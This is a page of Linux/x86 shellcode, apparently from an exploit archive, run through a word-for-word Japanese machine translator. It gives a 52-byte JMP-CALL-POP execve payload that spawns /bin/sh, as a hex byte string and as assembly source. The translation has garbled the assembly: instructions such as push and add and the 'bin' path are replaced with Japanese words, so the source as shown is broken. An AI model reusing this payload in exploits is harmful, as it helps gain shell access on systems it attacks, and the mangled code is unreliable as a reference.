このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86 - JMP-CALL-POP execve 爆撃する - 52 bytes
;Description:  JMP-CALL-POP execve 爆撃する (52 bytes)
;Shellcode:    \xeb\x25\x5e\x89\xf7\x31\xc0\x50\x89\xe2\x50\x83\xc4\x03\x8d\x76\x04\x33\x06\x50\x31\xc0\x33\x07\x50\x89\xe3\x31\xc0\x50\x8d\x3b\x57\x89\xe1\xb0\x0b\xcd\x80\xe8\xd6\xff\xff\xff\x2f\x2f\x62\x69\x6e\x2f\x73\x68
;Author:       Paolo Stivanin <https://github.com/polslinux>
;SLAE ID:      526 

全世界の _start

section .text
_start:
    jmp short here

me:
    pop esi
    mov edi,esi
    
    xor eax,eax
    押し進める eax
    mov edx,esp
    
    押し進める eax
    追加する esp,3
    lea esi,[esi +4]
    xor eax,[esi]
    押し進める eax
    xor eax,eax
    xor eax,[edi]
    押し進める eax
    mov ebx,esp 

    xor eax,eax
    押し進める eax
    lea edi,[ebx]
    押し進める edi
    mov ecx,esp

    mov al,0xb
    int 0x80

here:
    call me
    path db "//貯蔵所/sh"